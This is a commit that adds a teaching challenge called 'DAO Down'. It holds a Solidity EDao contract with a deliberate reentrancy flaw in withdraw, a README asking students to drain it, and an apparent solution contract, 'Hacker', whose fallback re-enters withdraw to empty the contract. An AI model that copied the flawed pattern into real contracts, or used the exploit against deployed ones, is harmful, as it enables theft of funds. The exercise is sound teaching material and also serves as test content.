Add project2 challenge contracts
This commit is contained in:
@@ -0,0 +1 @@
|
||||
[{"constant":true,"inputs":[],"name":"student","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"investorAddr","type":"address"},{"name":"canAdd","type":"bool"}],"name":"addInvestor","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"name":"investorAddr","type":"address"}],"name":"getInvestor","outputs":[{"name":"canFund","type":"bool"},{"name":"canAddInvestor","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"getStudent","outputs":[{"name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"name":"addr","type":"address"}],"name":"queryFunds","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"name":"to","type":"address"}],"name":"fundit","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":false,"inputs":[{"name":"addr","type":"address"},{"name":"amount","type":"uint256"}],"name":"withdraw","outputs":[{"name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"inputs":[{"name":"_student","type":"address"}],"payable":true,"stateMutability":"payable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Success","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"ret","type":"uint256"}],"name":"Fail","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"name":"src","type":"address"},{"indexed":false,"name":"req","type":"uint256"},{"indexed":false,"name":"avail","type":"uint256"},{"indexed":false,"name":"balance","type":"uint256"}],"name":"NotEnoughFunds","type":"event"}]
|
||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,90 @@
|
||||
|
||||
pragma solidity ^0.5.4;
|
||||
|
||||
contract EDao {
|
||||
address payable public student;
|
||||
|
||||
//Events
|
||||
event Success(address src,uint256 ret);
|
||||
event Fail(address src,uint256 ret);
|
||||
event NotEnoughFunds(address src, uint256 req, uint256 avail, uint256 balance);
|
||||
|
||||
//Structs
|
||||
struct Fund {
|
||||
address payable payoutAddr;
|
||||
uint256 amount;
|
||||
}
|
||||
struct Investor {
|
||||
bool canFund;
|
||||
bool canAddInvestor;
|
||||
}
|
||||
|
||||
//Mappings
|
||||
mapping(address => Investor) investors;
|
||||
mapping(address => Fund) funds;
|
||||
|
||||
constructor(address payable _student) public payable {
|
||||
// Set the deployer as one of the investors who initially funded this contract
|
||||
investors[msg.sender] = Investor({canFund:true, canAddInvestor:true});
|
||||
|
||||
// Set the student as one of the investors
|
||||
student = _student;
|
||||
investors[student] = Investor({canFund:true, canAddInvestor:true});
|
||||
}
|
||||
|
||||
function fundit(address payable to) public payable {
|
||||
Investor memory b = investors[msg.sender];
|
||||
if (b.canFund) {
|
||||
Fund storage f = funds[to];
|
||||
f.payoutAddr = to;
|
||||
f.amount += msg.value;
|
||||
emit Success(msg.sender,0);
|
||||
} else {
|
||||
emit Fail(msg.sender,1);
|
||||
revert();
|
||||
}
|
||||
}
|
||||
|
||||
function queryFunds(address addr) public view returns (uint256) {
|
||||
Fund memory f = funds[addr];
|
||||
return f.amount;
|
||||
}
|
||||
|
||||
function withdraw(address payable addr,uint256 amount) public returns (bool) {
|
||||
Fund storage f = funds[addr];
|
||||
if (f.amount >= amount && amount <= address(this).balance) {
|
||||
(bool success, ) = f.payoutAddr.call.value(amount)("");
|
||||
if (success) {
|
||||
f.amount = f.amount - amount;
|
||||
return true;
|
||||
}
|
||||
} else {
|
||||
emit NotEnoughFunds(msg.sender,amount,f.amount,address(this).balance);
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
function getStudent() public view returns (address) {
|
||||
return student;
|
||||
}
|
||||
|
||||
function addInvestor(address payable investorAddr,bool canAdd) public {
|
||||
Investor memory b = investors[msg.sender];
|
||||
if (b.canAddInvestor) {
|
||||
investors[investorAddr] = Investor({canFund:true, canAddInvestor:canAdd});
|
||||
emit Success(msg.sender,0);
|
||||
} else {
|
||||
emit Fail(msg.sender,2);
|
||||
}
|
||||
}
|
||||
|
||||
function getInvestor(address investorAddr) public view returns (bool canFund, bool canAddInvestor) {
|
||||
Investor memory b = investors[investorAddr];
|
||||
canFund = b.canFund;
|
||||
canAddInvestor = b.canAddInvestor;
|
||||
return (canFund, canAddInvestor);
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
@@ -0,0 +1,35 @@
|
||||
# DAO Down
|
||||
|
||||
## Story
|
||||
|
||||
You are working at an IT Security Consultant company called *AllmostAllsafe*.
|
||||
The biggest customer of *AllmostAllsafe* is *EveCorp*.
|
||||
*EveCorp* is highly interested in Blokchain and SmartContract projects lately.
|
||||
Their latest project is a fund raising DAO (*Directed* Autonomous Organisation).
|
||||
This *EDao* was used to gather large amounts of *EveCoins* and used to invest them into different projects.
|
||||
|
||||
There are rumours that the *EDao* has a severe bug that might be exploited by one of the already funded projects.
|
||||
Since it is a smart contract we cannot simply patch this vulnerability.
|
||||
The only way out would be a hard fork to undo all malicious activities but this would crush the reputation of *EveCoin*.
|
||||
|
||||
Your task is it to avoid such a situation.
|
||||
Find the vulnerability, exploit it and withdraw all the money from
|
||||
the *EDao* before an attacker can do that.
|
||||
|
||||
## Technical description
|
||||
|
||||
There is an instance of the *EDao* for every student.
|
||||
You received a public/private key pair (i.e., a *geth* account) together with the address and ABI of the SmartContract you have to exploit.
|
||||
Your public/private key pair is associated with your contract.
|
||||
This means that you are the *owner* of that contract and therefore only you can solve this challenge for your *EDao* instance.
|
||||
To use your pre-generated `geth` account just copy the file starting with `UTC...` into your `keystore` folder in the data directory of your client.
|
||||
|
||||
Your *EDao* as has a balance of `30` *EveCoins*.
|
||||
The challenge is solved when the balance of your *EDao* is `0`.
|
||||
|
||||
## Hint
|
||||
|
||||
This paper outlines the vulnerability and attack. The contract you have to exloit is named `EDao`, which has the substring **DAO** in its name.
|
||||
* https://allquantor.at/blockchainbib/pdf/atzei2016survey.pdf
|
||||
|
||||
|
||||
@@ -0,0 +1,32 @@
|
||||
pragma solidity ^0.8.0;
|
||||
|
||||
contract Hacker {
|
||||
address public owner;
|
||||
address public challengeAddress;
|
||||
|
||||
modifier onlyOwner() {
|
||||
require(msg.sender == owner, "Caller is not owner");
|
||||
_;
|
||||
}
|
||||
|
||||
constructor (address _challengeAddress) {
|
||||
owner = msg.sender;
|
||||
challengeAddress = _challengeAddress;
|
||||
}
|
||||
|
||||
function pwn() public {
|
||||
(bool success, ) = challengeAddress.call(
|
||||
abi.encodeWithSignature("withdraw(address,uint256)", address(this), 1 ether)
|
||||
);
|
||||
|
||||
if (!success) revert();
|
||||
}
|
||||
|
||||
function withdraw() external onlyOwner {
|
||||
selfdestruct(payable(owner));
|
||||
}
|
||||
|
||||
fallback() external payable {
|
||||
if (challengeAddress.balance >= 1 ether) pwn();
|
||||
}
|
||||
}
|
||||
Reference in New Issue
Block a user